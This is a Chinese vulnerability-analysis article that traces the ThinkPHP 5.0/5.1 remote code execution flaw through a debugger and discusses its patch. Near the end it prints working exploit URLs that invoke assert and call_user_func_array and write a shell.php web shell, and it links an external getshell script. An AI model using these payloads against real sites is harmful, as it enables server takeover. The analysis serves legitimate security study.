天天看點

「白帽挖洞技能提升」ThinkPHP5 遠端代碼執行漏洞-動态分析

ThinkPHP是為了簡化企業級應用開發和靈活WEB應用開發而誕生的,在保持出色的性能和至簡代碼的同時,也注重易用性。但是簡潔易操作也會出現漏洞,之前ThinkPHP官方就修複了一個嚴重的遠端代碼執行漏洞。

ThinkPHP是為了簡化企業級應用開發和靈活WEB應用開發而誕生的,在保持出色的性能和至簡代碼的同時,也注重易用性。但是簡潔易操作也會出現漏洞,之前ThinkPHP官方修複了一個嚴重的遠端代碼執行漏洞。

這個漏洞的主要原因是由于架構對控制器名沒有進行足夠的校驗導緻在沒有開啟強制路由的情況下可以構造惡意語句執行遠端指令,受影響的版本包括5.0和5.1版本。

那麼今天i春秋用動态分析法來介紹遠端代碼執行,同時還能快速了解整個執行過程和一些變量參數,文章閱讀用時約7分鐘。

01環境

程式源碼下載下傳:

http://www.thinkphp.cn/download/967.html

Web環境:Windows 10 x64+PHPStudy 20018

調試工具:phpstorm+xdebug(用vscode也可以,我比較習慣用phpstorm)

因為我是從頭分析到尾,是以要在設定裡面勾上Break at first line in PHP script

搭建就不多說了,放源碼在根目錄然後phpstudy啟動!

02漏洞複現

其實有很多利用的地方,到後面分析完再說。

03漏洞分析

因為是從開始分析,也比較适合新手,就不示範去下某個斷點了,如果有不懂的你們也可以在不懂的地方下一個斷點然後繼續分析(記得去掉Break at first line in PHP script再下斷點)。

有些不是重點的直接F7或者F8走下去,F7跟進Facade:

到App.php初始化的地方,繼續F8往下面走:

到routeCheckF7跟進去:

到這裡F7繼續跟進去:

有些沒有必要的函數就直接F8跳過去,到pathinfo( )這裡F7跟進去:

我們可以分析一下這個·pathinfo函數的代碼$this->config->get('var_pathinfo')這一句是從配置檔案config/app.php擷取的值:

當請求封包包含$_GET['s'],就取其值作為pathinfo,并傳回pathinfo給調用函數,是以我們可利用$_GET['s']來傳遞路由資訊。

public function pathinfo()
 {
 if (is_null($this->pathinfo)) {
 if (isset($_GET[$this->config->get('var_pathinfo')])) {
 // 判斷URL裡面是否有相容模式參數
 $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
 unset($_GET[$this->config->get('var_pathinfo')]);
 } elseif ($this->isCli()) {
 // CLI模式下 index.php module/controller/action/params/...
 $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
 }
 // 分析PATHINFO資訊
 if (!isset($_SERVER['PATH_INFO'])) {
 foreach ($this->config->get('pathinfo_fetch') as $type) {
 if (!empty($_SERVER[$type])) {
 $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
 substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
 break;
 }
 }
 }
 $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
 }
 return $this->pathinfo;
 }
           

可以看到return $this->pathinfo;傳回的内容:

F7走,可以看到$pathinfo指派給$this->path:

F7走到check的函數,如果開啟了強制路由則會抛出異常,也就是說該漏洞在開啟強制路由的情況下不受影響,但是預設是不開啟的。

後面看到執行個體化了UrlDispatch對象,将$url傳遞給了構造函數。

再繼續分析下去,中間有些不必要的直接F8走過就行了。可以看到将$url傳遞給了$action。

F7走下去,跳回了App.php,可以看到$dispatch傳回來的值代入dispatch方法。

F7走進去,可以看到傳入的$dispatch指派給了$this->dispatch,不過現在分析這個版本是有改動的,有些版本是在這裡用dispatch代入下面會分析到的parseUrl方法,這個版本的是用$this->action來parseUrl方法的,繼續分析下去,下面會分析到的。

F7又傳回了App.php的檔案,可以看到執行排程這裡$data = $dispatch->run( );,我們F7跟進去。

這裡就是上面所說的,$url是由thinkphp/library/think/route/Dispatch.php裡面的$this->action = $action;傳過來的。

我們F7繼續分析parseUrl方法,然後F8走到這裡。

F7進到這個parseUrlPath方法裡面,用/來分割[子產品/控制器/操作]并存到$path數組裡面。

private function parseUrlPath($url)
 {
 // 分隔符替換 確定路由定義使用統一的分隔符
 $url = str_replace('|', '/', $url);
 $url = trim($url, '/');
 $var = [];
 if (false !== strpos($url, '?')) {
 // [子產品/控制器/操作?]參數1=值1&參數2=值2...
 $info = parse_url($url);
 $path = explode('/', $info['path']);
 parse_str($info['query'], $var);
 } elseif (strpos($url, '/')) {
 // [子產品/控制器/操作]
 $path = explode('/', $url);
 } elseif (false !== strpos($url, '=')) {
 // 參數1=值1&參數2=值2...
 parse_str($url, $var);
 } else {
 $path = [$url];
 }
 return [$path, $var];
 }
           

中間的繼續F8往下走,傳回的$route數組

繼續往下走,F7進去。

可以看到:

thinkphp/library/think/route/Dispatch.php類這裡的$this->action的值變了。

繼續會走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action指派給了$result。

F8往下走,走到執行個體化控制器,這裡的$controller是可控的,是由上面的$result[1]傳過來的。

F7跟進去,當$name存在反斜杠時就直接将$name指派給$class并傳回。攻擊者通過控制輸入就可以操控類的執行個體化過程,進而造成代碼執行漏洞。

下面就是調用反射執行類的步驟了:

也可以往下看,這裡是通過invokeMethod 函數動态調用方法的地方,可以看到$class是think\Requset的類,$method是input。

後面就是把内容輸出到浏覽器的過程了

04漏洞分析回顧

開始我們分析pathinfo( )函數的時候得知可以用s來擷取路由資訊

parseUrlPath方法用來分割[子產品/控制器/操作]格式

在後面傳入$controller的時候,就是開始我們擷取到路由的值,但是用反斜杠就開頭,就是想要執行個體化的類。

最後是反射函數,調用了input方法執行phpinfo( )

一定是要Request類裡面的input方法來執行嗎?

不一定,視版本而決定。

以下是先知大神分類出來的

5.1是下面這些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
           

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
           

兩個版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log
           

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php
           

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
           

這裡也不寫getshell的python腳本了 ,可以參考:

https://github.com/theLSA/tp5-getshell

05更新檔分析

下面是針對5.0和5.1的更新檔,添加了正則過濾,導緻無法再傳入\think\app這種形式的控制器。

以上是今天的内容,大家看懂了嗎?

繼續閱讀